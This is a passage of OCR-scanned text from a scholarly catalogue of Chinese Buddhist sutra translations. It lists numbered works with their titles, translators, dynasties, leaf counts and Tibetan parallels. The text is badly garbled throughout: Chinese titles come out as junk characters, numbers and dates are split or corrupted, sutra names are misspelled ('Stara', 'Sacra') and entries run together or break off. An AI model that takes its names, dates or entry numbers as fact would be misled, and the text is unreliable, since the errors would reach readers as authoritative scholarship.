Amanda on four matters. 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. 3 leaves. The four matters are-1. Tosupport men and feed animals with a pitiful heart.2. To help the 'poor with a compassionate heart. 3 . Toabstain from eating meat, and to keep the five precepts.4. To honour the Srimanas. If one practises these, itis the same as worshipping Buddha. /r- Uhl, fasc. 3 1,fol. 20 b.69 7. 141 31 4S4tra on the division or distinction (of results). 'Translated by ku-,11-hu (Dharmaraksha), of theWestern'Tsin dynasty, A. D. 265-3 16. 6 leaves. Thereare those who keep the moral . precepts and obtainhappiness ; and those who keep the same precepts,but fall int() misfortune. There are three classes of,those'who serve Buddha. Then the Siltra states that. many-lawless ,Chinamen are among the subjects of tli0brat KY-tsiii, fasc. '3 1, fol. 20 a.'The following three works were translated by 1"of the Wu dynasty, A. D. -222'7 . 280 : M 2_1LTtitle is writtenfasc. 7, fol. 14 a.161 STRA-PITAKA. 16869 8t- . . . lu 41Wi-sha-yuen-kiii.'Sutra on (the King) Agatasatru. ' .4 leaves.It states the murder of the King Rimbisra. Theaccount is similar to that which is given in the Vinaya-pitaka. K'-tsin, fasc. 3 0, fol. i8 b.Sz'-yuen-ki.' Stara on four wishes (of mankind). ' 5 leaves.It seems that some passages are left out, as the com-position i^ ~ not. consecutive. K'- tsi, fasc. 3 1, fol. x5 a.Itu 31 6iK'- keu-ki.Sfltra on the fierce dog (comparison). " 2 leaves.Those who receive instruction in moral preceptsand envy or dislike their teachers are compared to a-fierce dog that bites his master. K'- tsin, fasc. 3 1,fol. 19 b.tThe above twenty works are wanting in Tibetan.K'-yuen-Iu, fasc. 7, fol. 14 a seq. For Nos. '685 and69 1, see, however, the authorities mentioned under -the titles respectively.701 ONnP-kwn-ki-ki.` Stara on the night kinds of fasting. 'Translated by Ts-khii Kin-sha, A. D. 455, of theearlier Sun dynasty, A. D. 420-479 . 2 leaves. Thisis somewhat similar to Nos. 542 (202), 576, 577.K'-tain, fasc. 28, fol. 20 a. It agrees with Tibetan.:K'-yuen-lu, fasc. 7, fol. i 8 b.702Hhio-tsz'- kiwi.'Sfltra on the filial child. 'Translated under the Western Tsin dynasty, A. D.265-31 6 ; but the translator's name is lost. 2' leaves.703Hi-sh'-fn-k' - ki.Sutra on the Brahmakarin Black-family (Krishna or Kla ?). 'Translated by, K.' Khien, of the Wu dynasty, A. D.222-2 80. 4 leaves.704-kin-Hu=ki.Satin on (the merchant) Akuru. 'Translated under the Eastern Han dynasty, A. D. 25222 ; but the translator's name is lost. 4 leaves.The above three works are wanting in. Tibetan.K'-yuen-lu, fasc. 7, fol. 18 a. seq.705
pit (read al )Fa - wi - - k'- to - ki - yeh (-shwo) - tsz'--hw (read th) - tso - kh'Sutra spoken by Buddha to Akira (?)-ksyapa on pain causedby oneself or by another. 'Translator's name is lost. 3 leaves. But in K'-tsin(fasc. 31 , fol. 6 a) this work is said to have been trans-lated by In , Shi-ko, of the Eastern. Han dynasty, A. D.25-220. The Chinese title is given there core ectly,while in the present edition the eighth character (shwo)is . left out, and the ninth (tha) is written wrongly (ashw). Unless these faults are corrected, the title isquite unintelligible. The subject of Buddha's sermonin this work is this, that pain is caused neither by one-self nor by another, nor by both, nor is it without . acause. Thus he caused Akira (l)-ksyapa to perceive thetruth and obtain the way. K'-tsin,'s. v706 -00. ;lit ff 1 44aftFo-shwo-tsui-yeh-po-yiit-kio-hw-'ti-yii-ki.'Stara spoken by Buddha on teaching of hells as the resultsof sinful actions (?). 'Translated by In Shi-ko, of the Eastern Han dynasty,A. D. 25-220. 6 leaves.The following four works were translated by K'Khien, of the. Wu dynasty, A. D. 222-280 :-707' aiFo-shwo-lu-w-hhiihi-ti-ki.'Stara spoken by Buddha on the elder and younger brothers ofthe Naga-kings (subdued by Maudgalyyana)' 3 leaves.708 Otw AFo-shwo-kh-k-yin-yueh-ki.'Stara spoken by Buddha on the Sreshehin named Maiigu-ghosha. ' 5 leaves.709PO titFo-shwo-tahi-nii. -ki.' Sfltra spoken by Buddha on seven women. ' 7 leaves.69 9700S TRA-PITAKA. 1. 70The following five works were translated by Thin-wu-lln (Dharmaraksha I), of the Eastern Tsin dynasty,A. D. 3 17-420169710wit AFo-shwo-pi-sh'- ki.Sutra spoken: by Buddha on eight teachers. ' . 5 leaves.Buddha answered the question of a Brahmakarinnamed Yaga (I), as to who is the teacher of Buddha.The following eight sbjects are noticed carefully :killing, stealing, adultry, lying, drinking intoxicatingliquor, old age, disease, and death. K'- tsi, fase. 3 1,fol. 7 a.711ri AFo-shwo-yueh-nn-kin:'Stara spoken by Buddha on (the Sreshthin) Vane. 'Translated by Nieh 'Khali-yuen, of the Western Tsindynasty, A. D. 265-3 16. z leaves.71 -2vo w P^r. a. cc raFo-shwo-su-y-k'- hwan-kin.' Stara spoken by Buddha on desire being the cause of affliction. 'Translated by Ku Pit-hu (Dharmaraksha), A. D. 3 04,of the Western Tsin dynasty, A. D. 265-3 16. 6 leaves.The above seven works are wanting in ' Tibetan.K'-yuen-lu, fasc. 7, fol. 1 2 b seq.713 '?aIgs. -sh-shi-w-wan-wu-ni-kii.' Sittra on the five deadly sins, in answer to the King Agttasatru:Translated by Fa-kii, of the Western. Tsin dynasty,A. D. 265-3 16. 6 leaves. It agrees with Tibetan.K'-yuen-lu, fasc. 7, fol. 13 b. The five deadly sins orthe Paitknantaryas areSANSICRIT(MAUVYUTPATTI, I18). .(I) Mtrighta,(2) Pitrighta,(3 )Arhadgt. ta,(4) Saitghabheda,(5) Tathgatasyftntike dushtakittarudhirotpadana. The illah-vyutpatti places the. third sin before the second. Thefollowing six crimes or deadly sins are enumerated inChilders' Pli . Dictionary, p. 7 b, s. v. Abhithnam(I) Mtughto, matricide;(2) Pitughto, parricide-;(3 ) . Arhantaghto, killing an Arhat;(4) Lohituppdo, shedding the blood of a Buddha ;(5) Safighabhedo, causing divisions among the priesthood ;(6) Miiiasatthuddeso, followio other teachers.71 4Pan-sh'- kin.' Mfila-vastu-stitra (?). 'Translated by Hhen-kwa (Hiouen-th ^ ang), of theThan dynasty, A. D. 618-9 07. ' 7 faseieuli ; 3 chapters.It agrees with Tibetan. K'-yuen-lu, fasc. 7, fol. 16 a.71 51Fo-shwo-kun-sin-kin.Stara spoken by Buddha on the middle heart (Madhya-hridaya O. '"6 leaves.71 61 4 at itTEF-shwo-kien-ka-ki.`Stttra addressed by Buddha to (the Bhikshu named) Seeing-right (?)' 9 leaves.717Fo-shwo-t-y-sh'- kill.' SQ tra spoken by Buddha, on the matter (or comparison) of agreat fish. ' a leaves.718 . Fo-shwo--nn-tshi-mall-kin.' SAtra addressed by Buddha to Ananda on seven dreams. '2 leaves.The above four works agree with Tibetan. K'-yuen-lu, fast. 7, fol. 19 b seq.719 pq14**Fo-shwo-h-tio- -ni-han-kin.` Sara spoken by Buddha on (the praise of) the AngminH=tio (?). ' 2 leaves. -Deest in Tibetan. K'-yuen-lu, fasc. 7, fol, zo a.720atFo-shwo-tan-k'- yin-yuen-ki.' SQ tra spoken by Buddha on the Avadna of (the Sreshthi-putra)Diptiguli (? Lamp-finger). 'Translated by Kumragva, of the. Latter Tshindynasty, A. D. 3 84-417. I I leaves.721F-shw-fu-zan-yii- u- ki.SAtra spoken by Buddha on a woman who met with ill fate' (bythe death of all her relations at one and the same time). 'Translated by Shan-kien, of the Western Tshindynasty, A. D. 3 85-43 1 . 2 leaves.I 1 1 %S. 1. . ;73 1171STRA-PITAKA. . 17 27221. 0Fo-shwo-sz'-Siltra spoken by Buddha on the four heavenly kings (Katur-naahMigas, who go round the world on six fasting daysevery month, and who, observing the good or bad actionsof mankind, raise their joy or grief). 'Translated by K'-yen, together with Pio-yun, of theearlier Sdn dynasty, A. D. 42C479 . 3 leaves.723 PI)gFo-shwo-mo-h-kia,-yeh-tu-phin-mu-kift.' &Ira spoken by Buddha on Mah610,syapa's saving a poor mother. 'Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-479 . 5 leaves.The above four wor s agree with Tibetan. K'. . . yuen-lu, fasc. 7, fol. 20 b q.8:P hiV. 11.SO. tra spoken by Buddha on the thirty-seven articles , nf thepractice of meditation. 'Translated by In Shi-kio, of the, Eastern Hindynasty, A. D. 25-22o. 3 leaves.725 It ;Li) *szarittSfltra on a Bhikshu who intended to commit suicide for thepurpose of avoiding ill-fame concerning a woman:.Translated byof the Western Tain dynasty,A. D. 265-3 16. 2 leaves.g' uFo-shwo-shan-kwatt-kift. Satre, Spoken by Buddha on the meditation on (the impurityof) the human body. 'Translated by Ku Fi-hu (Dharmaraksha), of theWestern Tsin dynasty, A. p. 265-3 16. 3 leaves.The above three works are wanting in Tibetan.K'-yuen-lu, fasc. 7,' fol. 24 bThe following two works were translated. byA. D. 70x, of the. Thin dynasty, A. D. 618- 9 07. Theyagree with Tibetan. K'-yuen-lu, fasc. 7, fol. 25 a:'7274r'1
FO-shwo-wu-khaii-kit.'Sara spoken by Buddha on Impermanency,(Anitya). '' 3 leaves.There is an -app6ndix entitled Lin-kun-fin-kti, orRules for treating a dying person. - 4 leates.728t A 1,11, HaStara spoken by Buddha on eight (classes of beings) born intime or out of time (Asheakshana-kshana). ' 5 leaves.The Asheikshanas or eight classes of beings born outof time are those in the following states or condi-tions :(i) Naraka, living in hell ;(a) Preta, hungry demon, departed spirit;(3 ) Tiryagyoni, lower animal ;(4) Dirghayusha-deva, god of long,life ;(5) Pratyantaganapada, born in a bordering country;(6) Indriyavaikalya, deficient in the organs of senses ;(7) Mithyclarsana, having falsa views or belief;(8) Tathg,gatftnutpida, born at a time- when there is no Buddha.K'-tshl, fasc. 3 1, fol. 14 b. Cf. Mahtvyutpatti, 729 AWAT ria*tg- tsz'- shwo-pan-khi-kin.`Sara qn five hundred disciples' telling their own Nidgna, orGgtaka. 'Translated by Ku Fi-hu (Dharmaraksha), A. D. 3 03 ,of the Western Tsin dynasty, A. D. 265-3 16. i fascicuhis';3 o chapters : the first 29 chapters contain the storiesof the 500 disciples of Buddha; and in the 3 oth chapterBuddha speaks on the origin of human passion ; this,last chapter seems to be incomplete. I'-tsin, fasc. 3 o,fol. 9 b. Deest in Tibetan. . K'-yuen-l, fasc. 7,. fol. 1 9 a.73 0 . 14A'AgStara spoken by Buddha (beginning with) the section on thepain of five (states of existence). 'Translated by Than-wu-lin (Dharmaraksha I), of theEastern Tsin dynasty, A. D. 3 17-4. 20. i5 leaves. Thiswork is doubtful in Tibetan. K'-yuen-lu, fasc. 7,fol. 13 , b.IL, Pt'Stara spoken by Buddha on keeping thought firm. 'Translated by Ai Shi-kio, of' the Eastern Handynasty, A. D. 25-220. 2 leaves.&logSara spoken by Buddha on the Parinirvana of the KingSuddhodana. 'Translated ' byKin-shan, A. D. 455, of theearlier Sun ilynasty, P. 420-479 . 9 leaves. _The above two- w,ork are wanting in Tibetan. -yuen-lu, fasc. 7, fol. ,i72472673 2n t a go aKhali-ko-fan-k'- tshin-wan-ki.^ll9 rghanakha-brahmalcdri-pariprikkh-sfltra. 'Df rghanakha-parivragaka-pariprikkh.A. R. , p. 48o; A. 11f. G. , p. 280. 3 leaves.73 51 91 1 *Fo-shwo-phi-y-kin.' Sfltra spoken by Buddha on (eight) comparisons. ' 2 leaves.73 6 S *Fo-shwo-pi-khilt-thili-k'- kin.` Stara addressed by Buddha to the Bhikshu Thifi-k' (hearing-giving). 'Translated by. Thin-wu-lan (Dharmaraksha), of theEastern Tshi dynasty, A. D. 3 17-42o. 3 leaves. Deestin Tibetan. K'- yuen-lu, fasc. 7, fol. 25 a.The following two works were translated by I-tsi,A. D. 711 and 7 10 respectively, of the Thin dynasty, A. D.658- 9 07. They agree with Tibetan. K'-yuen - lu,fast. 7, fol. 25 b :-. 73 714 lit.73 4l!f
1 73StTRA-PITAKA. 174733,nFo-shwo-hhi-kh. i-hhi-kin. Sfltra spoken by Buddha on the former practice (of Buddha). 'Translated by Kh Man-sin, of the Eastern Hndynasty, A. D. 25-220. 2 fasciculi ; io short Strascollected. Each. Stra relates a Nidna or former causeof a certain event that happened to Buddha, such ashis headache, pain in- his back, Devadatta's throwinga stone at him, a Brhmanl's abuse, his eating the horse- barley, and penance, etc. It agrees with Tibetan. K'-ynen-lu, fasc. 7, fol. 1 6 a.The following two works were, translated by I-tsin,A. D. 700 acid 710; of the Thin dynasty, A. D. 618-9 07.They agree with Tibetan. K'-yuen-lu, fasc. 7, fol. 25 b :Fo-shwo-lio-kio-ki-ki.`Sfltra spoken by Buddha, being an abridged instruction. '2 leaves.73 8 1 4aNfirn4Fo-shwo-lio-k'- pin-ki.Stara spoken by Buddha op curing the disease of piles. ' 2 leaves.73 9Fo-shwo-yeh-po-kh - piep-ki:`Sfltra spoken by Buddha on the difference of the results ofKarman. 'Translated by Thn FA-k' (Gautama Dharmapraga),A. D. 582, of the Sui dynasty, A. D. 589 (or 581)-618.15 leaves. Deest in Tibetan. K'-yuen -lu, fase. 7,fol. i6 a.The following two works were translated by Guna-bhadra, of the earlier Sun dynasty, A. D. 4 2o-479 .They agree with Tibetan. K'-yuen-lu, fasc. 7, fol.20 b seq. :--i.740N i -- rp t. NFo-shwo-shi -'rh-phin-sha- sz'-ki.'Stara spoken by Buddha on, twelve,differences of birth and death(between the holy and common men or beings). ' i leaf.Y16 '1'Jr741 ^. ^^_^^^^Yp^^^Fo-shwo-lun-kw-w-to-tsui-fu-po-yi-kin.Sfltra spoken by Buddha on transmigration throughout the fivestates of existence, being the result of both virtuous and sinfulactions. ' 5 leaves.The following three works were translated by Tsti-kh Kin-sha, A. D. 455, of ' the earlier Suit dynasty,A. D. 420-479 :742'Fo-shwo-wu-wu-fn-fu-ki.Stara spoken by Buddha on the five (elements) not returningagain (i. e. death): 3 leaves.743 The same as No. 742. 3 leaves.'744 i^
**^Fo-shwo-fo-t-sa- t-ki.Stara spoken by Buddha on (two brothers named) Buddha-great(Buddhamahat ?),and Sagha-great (Saghamahat Y). ' 8 leaves.They were the sons of a rich man in Rgagriha.When the younger brother became an ascetic, the'elderwished . to marry the + wife of the former, but she didnot follow him. Then the elder sent an sassin to killhis younger brother, who, at the moment when his fourlimbs were separated, obtained the fruits of the fourholy paths, and whose wife was born in heaven, havingdied from excessive lamentation. The wicked elderbrother at, last fell into hell. K'-tsin, fase. 31 , fol. 9 a.The following two works were translated by Ku 1'-hu (Dharmaraksha), of the Western Tsin dynasty, A. D.265-3 16745*. 41Fo-shwo-t-ki-yeh-pan-ki. Stara addressed by Buddha to Muh ktsyapavn the origin (or thelaw of controlling the mind). ' 6 leaven175STRA-PITAKA. 176746 ig441Fo-shwo-sz'- tsz'- tshin-ki.Sfltra spoken by Buddha on four (articles of) self-injuring. '5 leaves.The four articles areI. Negligence in learning;2. Continuation of lust in old age ; 3 . Want of gene-rosity ; and 4. Not receiving the words of Buddha.The following three works were translated by FA-k,of the Western Tsin dynasty, A. D. 265-3 16 :-747;% ^^Fo-s1 wo-10-yun-zan-zu-ki.Stara addressed by Buddha to Rhula on forbearance. ' 4leaves.748 T % IF4Fo-wi-nien-sio-pi-khiu-shwo- kali-sh'- ki.' Sfltra addressed by Buddha to young Bhikshus on the rightmatter. ' 2 leaves.749". w ' )d A
0Fo-shwo-sh-h-pi-khiu-ku-th-ki. Sutra spoken by Buddha on the good qualities of the BhikshuSh-h (?). ' 3 leaves.The above eight works are wanting in Tibetan.K'-yuen-lu, fasc. 7, fol. 19 a seq.750Fo-shwo-sh'- f8-sh'- ki.' Stara spoken by Buddha on time and not-time (i. e. proper andimproper time ?). ''translated by Zo-lo-yen, of the Western Tsin dynasty,A. D. 265-3 1,6. (K'-tsi, fasc. 3 1, fol. i 7 a. ) 4 leaves.751S.Fo-shwo-tsz'- i-ki.'Stara spoken by Buddha on self-love. 'Translated by Thn-wu-lin (Dharmaraksha I), of theEastern' Tsin dynasty, A. D. 3 17-420. 5 leaves.The above . two works agree with Tibetan. . K'- yuen-lu, fasc. 7, fol. 1 9 b.P-ft II FO-shwo-hhien-k-wu-fu-th-kiii.' Sutra spoken by Buddha on five kinds of happiness and virtueof the wise men. 'Translated by Po Fa-tau, of the Western Tsin dynasty,A. D. 265-3 16. 2 leaves. The seventh character ofthe title (th, virtue) is left out in K'-yuen-lu, fasc. 7,fol, 22 b ; K'- tsri, fasc. 3 1, fol. 1 i b. .753 ^tp9 114Thien-tshi-wa-ki.` Deva-pariprikklt-sfltra: Devat-stra (?). _A. R. , 'p. 47 8 ; A. M. G. , p. 28 1. Translated byHhen-kwri (Hiouen-thsang), A. D. 648, of the Thin.dynasty, A. D. 618- 9 07. 4 leaves. There are ninequestions and answers in this Stra.The following four works were translated under theEastern Tsin dynasty, A. D. 3 17-00; but the trans-lators' names are lost :----754rxi ^Fo- shwo-hu-tsi-kiri. .' Sfltra spoken by Buddha on the protection of purity. ' 3 leaves.755 ^^,eFo-shwo-mu-hwn-kili.' Sfltra spoken by Buddha on the tree Hwn (the seeds of which,rob in number, are used for rosaries). ' 2 leaves.This Stra gives an account concerning the use of arosary made of these seeds.756.
E . ' MNgFo-shwo-;(u-shah-khu-kill.` Sutra spoken by Buddha on the highest place (or objectworshipped (?), i. e. the Triratna). ' 1 leaf,The above five works are wanting in Tibetan (I).K'-Yuen-^u, faac. 7, fol. 22 b.757i
Lu-k'- kh-k-yin-yuen-ki.'Stara on the Nidna or Avadna of the Sreshthin Rugi(?). '12 leaves.It agrees with Tibetan. ' K'-yuen-lu, fasc. 7, fol. 23 a.The following three works were translated under theWestern Tsin dynasty, A. D. 265-3 16 ; but the 'trans-lators' names are lost :758POw ltFo-shwo-phu-ta-wan-kin.`Sutra spoken by Buddha on the King Samantaprftpta (?):4leaves.Deest in Tibetan. K'-yuen-lu, fasc. 7, fol. 23 b.759 i fFo-shwo-kwi-tsz'- mu=ki.' Sfltra spoken. by `' uddha on the mother of (boo) demon-children (i e. Hritl). ' 4 leaves.It agrees with Tibetan. K'-yuen-lu, fasc. 7, fol. 24 a.752177S fTTRA-PI TAKA. 178 e760 T,`*I:41Fo-shwo-fn-mo-nn-kwo-wft-ki.Sacra spoken by Buddha on the King of the countryBrhmana (?). ' 2 leaves.761 1 6 w It. Fo-shwo-sun-to-ye-k'- kin.' Sacra addressed by Buddha to (the Brahmakrin) Sun-to-ye-k'(?). 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. 3 leav es.762Fo-shwo-fu-mu-an-nn-po-kin.`Satra spoken by Buddha on the kindness of parents difficultto be returned. 'Translated by In Shi-ko, of the Eastern Han dynasty,A. D. 25-220. I leaf.763 litFo-shwo-sin-sui-ki.` Satre spoken by Buddha on the new year (i. e. the time when'the varShs or rainy season is over). 'Translated by. Than-wu-lan (Dharmaraksha?), of theEastern Tsin dynasty, A. D. 3 17-42o. 6 leaves.764Fo-shwo-khin-niu-phi-ki.`Sacra spoken by Buddha on the cow--herd comparison. 'Translated by Fa-k, of the-Western Tsin dynasty,A. D. 265-3 16. 2 leaves.765fVFo-shwo-kiu-hu-ki.`Sacra spoken by Buddha on nine (causs of) unexpected oruntimely (death). 'Translated by In Shi-ko, of the Eastern Hndynasty, A. D. 25-220. 2 leaves.The following two works were translated by Ts-kh. Kin-shah, A. D. 455,` of the earlier Sun dynasty, A. D.420-479766 10w S. Y 1 iFo-shwo-wu- khu-pu-shi-ki. .Satra spoken by Buddha on five states of fear (concerning thedisorder of Bhikshus in future time). ' 2 leaves.767
A ,N tFo-shwo-ti-tsz'- sz'- fu-shah. -ki.' Sittra spoken by Buddha on a pupil who revived (seven daysafter) his death. ' 7 leaves.The above eight works are wanting in Tibetan.K'-Yuen-lu, fasc. 7, fol. 2 1 _b seq.768Fo-shwo-hhi-tai-ka-k-ki.Sacra spoken by Buddha on a slow and idle farmer. 'Translated by Hwui-kien, of the earlier Sun dynasty,A. D. 420-479 . 2 /eaves. It agrees with Tibetan.K'- y used -lu , fasc. 7, fol. 22 a.769 fOR. , . c Ai TipiFo-shwo-pier-i-kh-k-tsz'- su-wan-ki.Sacra spoken by Buddha (answeri ng) the question of the sonof the Sreshthin Pien-iTranslated by F1-khan, of the Northern Wi dynasty,A. D. 3 86-53 4. i i leaves.770Wu-keu-yiu-pho-i-wan-kin.Satre (answering) the question of the Upsik Vimala. 'Translated by Gautama Pragaruki, A. D. 542, of theEastern Wi dynasty, A. D. 53 4-550. 3 leaves.The following four works were translated by Ts-kh Kin-shah, A. D. 455, of the earlier Sun dynasty,A: D. 420-479771MIA 41Fo-shwo-ye-k'- ki.S tra spoken by Buddha on (the Brhmana) Ye-k' (?).' 3 leaves.T w` 1T 772^,,, Fo-shwo-mo-to-wan-ki.Sacra spoken by Buddha on the King Mo-lo (?). ' 2 leaves.773 PO
it Ki 1 41
Fo-shwo-mo-t-kwo-w-ki. _
Il
fff
,Fo-shwo-yin-yuen-sa-hu-ki.Buddhabhashita-niditna-safighapala-stltra. 'Translated under the Eastern Tsin dynasty, A. D.3 17-420; but the translator's name is lost. . i fasci-culus. Deest in Tibetan. K'- yuen-lu, fasc. 7, fol. 22 b.world. 'Asahasrapramard : (7)-sfitra.K'-yuen-lu, fasc. . 5, fol. 19 a, A. R. , p. 516 ; A. M. G. ,p. 3 16.Mahasahasramandala-sfitra.; 1 IStfTRA-PITAKA.PART III.,7J NAC'C'Cti- sift() _shaii-kin, or the Sams of the Mahiyina and Hinayina, admitted into theCanon during the later (or Northern) and Southern Suh. (A. D. 9 60-1127 and& 127-128o) and Yuen (1280-13 68) dynasties.NoteThere are fifty-nine Sams of the Hinayana out of three hundred works in this Part. They will be distinguished byan h within parentheses added after their Chinese titles. They are the works mentioned under the heading of the Sams of theHinayana, except five, viz. Nos. 808, 8x7, 823 , 824, 9 23 , which are under that of the Vinaya-pitaka of the same school, in theyuen-lu and181182'The following two works were translated by Thien-A. D. 9 80-1001, of the later Sun dynasty, A. D.9 6o-1127 :--
782 .61$*W41Fo-shwo-t&-shtua-kwilii-yen-pao-*in-kiiL.Buddhabhashita-mahayana-vyaha-ratnaraga-satra. 'Karandaviiiha-s4tra.K'- yuen-lu, fasc. 5, fol. a a; A. R. , p. 43 7; A. M. G. ,P. 243 .-GhanavyAha-sfitra.Cone. 59 2. 4 fasciculi. It agrees with Tibetan.K'-yuen-lu, s. v. Cf. Nos. x68, 169 .783 MUif E8 PA41Fan-pieh-shan-Aoh-pAo-yiii-kiik. (h)Sutra on the division or explanation of the results of good andbad (actions). ' 2 fasciculi.This is a later translation of Nos. 6x o, 61x. Deest
J tfE79 8 it -V1taVSatca of the Dharani destroying all the obstacles of a flash oflightning according to wish and thought (?). ' 5leaves.It agrees with Tibetan. K'-yuen-lu, fasc. 5, fol. 25 a.79 9 E_E, it 'ifl UtftAryAnuttaradipa-tathagata-dhfcrani-stitra. ' 8 leaves.It agrees with Tibetan. K'- yuen-lu, fasc. 6, fol. 2 a.The following two works were translated by 11-thien(Dharmadeva I), A. D. 9 73 7 9 81, of the later Sun dynasty,A. D. 9 60-1 27--:*m-soo*,X#V. , Vlitt MAI'MahO. sitavanftrya-danda-dharant-stltra. 'Mahaclanda-dhrtini.K'-yuen-lu, fasc. 5, fol. 21 a; Conc. 618; A. R. ,p. 525 ; A. M. D. , p. 3 24. 6 leaves. It agrees withTibetan. K'-yuen-lu, s. v.801 fei11. -4(h)Buddhabhitshita-sarvasantakarn-samskrita-stara. ' 2 leaves.Deest in Tibetan. . K'-yuen-lu, fasc. 8, fol. 4 b.The following two works were translated by Sh'-hu(Dinapila 7), A. D. 9 80-1000, of the later Sun dynasty,A. D. 9 60-. 1127 :--802 eV. 41'Stara of the DhArant stopping premature death. 'KintAmaninima-sarvaghatamrityu-viranita-(or -varana)-dhranl.804 Oit.V..AA41(h)Saddharma-(Arya)-sm. rityupasth&na-sfitra.Cf. No. 679 . Translated by Fa-thien (Dharma-deva A. D. 9 73 -9 81, of the later Sun dynasty, A. D.9 60-1127. 8 fasciculi. This is somewhat similar toNo. 679 , though it is much shorter. Cf. K'-tsin. , fasc. 3 o,fol. 2 a. According to K'-yuen-lu (fasc. 4, fol. Ix a), thisis a later translation of No. . 23 (43 ). But this note oughtto belong to No. 805. Cf. K'-tsin, fasc. 3 , fol. i8 b.805
. 1;Buddhabhfishita-mahakAsyapa-pariprikkhg. -inaharatnakilta,saddharma-sfttra. ' Cf. Conc. 623 .Kasyapa-parivarta.Translated by Sh'-hu (Danapfila I), A. D. 9 80-1000,- ofthe later Sufi dynasty, A. D. 9 6o-I127. 5 fasciculi. Thisis a later translation of Nos. 23 (43 ), 57, 58. , . K'- tsiri,fasc. 3 , fol. x8 b. Deest in Tibetan. K'-yuen-lu, fasc. 1,fol. 3 7 a. But see No. 2 3 (43 ).806t dTsie-wfi-rail-fil-thien-tsz'-sheu-san-kwai-i-kwo-mien-Aoh-tao-kiit, (h)Sidra on a Devaputra named Tsie-wt-nn-fl (;), who escapedfrom (falling into) an evil state (to be reborn as a boar),on account of receiving (the inStruction in) the Trisarana(from Indra). 'Translated by F-thien (Dharmadeval), A. D. 9 3 7-9 81, of the later Sun dynasty, A. D. 9 60-1127. 3 leaves.Deest in Tibetan. K'-yuen-lu, fasc. 8, fol. 2 a. N;187STRA-PI?'AKA. ldti807 Sa NO. 04Fo-shwo-kio-li-sheu-mill-kiii. (h)`Sutra spoken by Buddha on counting (the length of) the life(of beings in the Saha world).Translated by Thien-si-tsi, A. D. 9 80-1001, of thelater Sufi dynasty. ,. A. D. 9 60-1127. I I leaves. Deestin Tibetan. K'-yuen-lu, fasc. 8, fol. 4 a.The following two works were translated by Sh'-hu(Dnapla 1), A. D. 9 80-1000, of the later Sufi dynasty,A. D. 9 60-II27 :8o8 Said) + AHOFo-shwo-sh-mi-shi-1d -i-ts-ki. (h)Ware spoken by Buddha on the ceremonial rules for the tenprecepts (Sikshpadas) of the Srmanera. ' 6 leaves.Deest in Tibetan. . K'-yuen-lu, fasc. 8, fol. 20 b,where this work is mentioned under the heading of theVinaya of the H1nayina.809 PDRV aX41Fo-shwo-sha-kh'-shi-tho-lo-ni: 7ci. Buddhabbshitrya-vasudhara-dh. rant-efltra:Vasudhara-dhrani.K'-yuen-lu, fuse. 5, fol. 22 a;. Conc. 112. 8 leaves.Cf. Nos. 492 , 787, 9 62.The following two works were translated by Fil-thien(Dharmadeval), A. D. 9 73 -9 81, of the later Sun dynasty,A. D. 9 60-1127810fenTfintiFo-shwo-pu-k'-ki. (h)' Buddhabhashita- na-stitra. ' 3 leaves.It agrees with Tibetan. K'-yuan-lu, fuse. 4, fol. 14 a.811w'' nt 1EFo-shwo-sha-yo-mu-tho-lo-ni-ki.Buddhabhshitrya-grahamtrik;-dhrant-stra. 'Grahamatrik-dhrani.K'-yuen-lu, fasc. 6, fol. 2 b; Conc. loo; A. R. , p. 53 o;A. M. G. , p. 3 28. 5 leaves. It agrees with Tibetan.K'- yuen-lu, s. v.812ittZttVF-tsi-mi-shu-ki.' SAtra of the number of names, being the 'Dharmasagraha. 'Translated by Sh'-hu (Dnapla 1), A. D. 9 80-1000,of the later Sun dynasty, A. D. 9 60-1127. 7 leaves.This' work is mentioned under the heading of theWorks of the Western or Indian Sages, in K'-yuen-lu,fasc. 1o, fol. 4 b. It is to be compared with theSanskrit text of the Dharmsafigraha, mentioned inCatalogue of the Hodgson Manuscripts, II, 2I. Thereis a similar MS. in the University Library, Cambridge.
r es ^^i^^813 ^;^: ^-/fgiSha-to-lo-phu- s-yi-pi-p-mi-tho=lo-ni-ki.' Arya-tr-(bbadra)-bodhisattva-nmshtaaataka=dhirani-efltra. 'Cf. No. 515.Translated by Fa-thien (Dharmadeva 1), A. D. 9 73 -9 81, of the later Sufi dynasty, A. D. 9 6o-1127. 8 leaves.It agrees with Tibetan. K'-yuen-lu, fuse. 5, fol. 19 b.814 Shi-'rh-yuen-shah-sian-sui-kiii. (h)`Sacra on lucky omens produced from twelve causes. 'Translated by Sh'-hu (Dnapla 1), A. D. 9 80I000, ofthe later Sun dynasty, A. D. 9 60-1127. 2 fasciculi. Itis doubtful or wanting in Tibetan. K'-yuen-lu, fasc. 8,fol. 4 a.The following two works were translated by Thien-si-tsi, A. D. 9 8o-. TooI, of the later Sun dynasty, A. D.9 60-1127. They agree with Tibetan. ,$'-yuen-lu,fasc. 5, fol. i9 b seq. :81 5 :NOW-tit `"a* A^r,^,.Tsn-y-sha-th-to-lo-phu-s-yi-pi`Sfltra on praising a ndred and eight names of the holy Bodhi-sattva Trbhadra:Tad,// adra-nmshtasataka.K'- yuen-1(z, fuse. 5, fol. 1 9 b ; Conc. 759 ; A. R. ,p 53 4 ; A. M. G. , p. 3 3 2. 6 leaves. -816 Vc-n 1EAZ..Shan-kwli - tsz' -tsi-phu-s-yi-pi-p-mini ki. rya-avalokiteevara-bodhisattva-nmshtasataka-sfltra. 'Avalokitesvara-nmshtasataka.A. R. , p . 53 3 ; A. M. G. , p. 3 3 1. 6 leaves.The following three works were translated by F-thien (Dhrmadeva 1), A. D. 9 73 -981 , of the later Suridynasty, A. D. 9 60II27 :--r ^189 StTRA-PITAKA. 1 9 0817n* fluFo-shwo-mu-lien-su-wan-kiii. (h)'Sutra spoken by Buddha on the request of Maudgalyftyana. '2 leaves.Deest in Tibetan. K'-yuen-lu, fasc. 8, fol. 20 b,where this work is mentioned under the heading of theVinaya of, the Hinayana.818 Fd POI V AWM-tao-wan-sha-t-sha-f-wu-wo-i-ki.' Arya-mahyna-sutra on the meaning of the Anfatma in (Sarva).dharma, asked by a Tirthaka. 'Slisambhava-stra.Conc. 787, 4 leaves. This is a later translation ofNos. 28o, 281. K'-yuen-lu, fasc. 4, fol. 12 b.819 ittW A 41Vikautu(ka ?)-bodhisattva-nmshtasataka-sutra. ' 5 leaves.It agrees with Tibetan. K'-yuen-lu, fasc. 5, fol. 20 a.820 Ji4t 41; a -a- Pk* ^^^Sha-kin. . 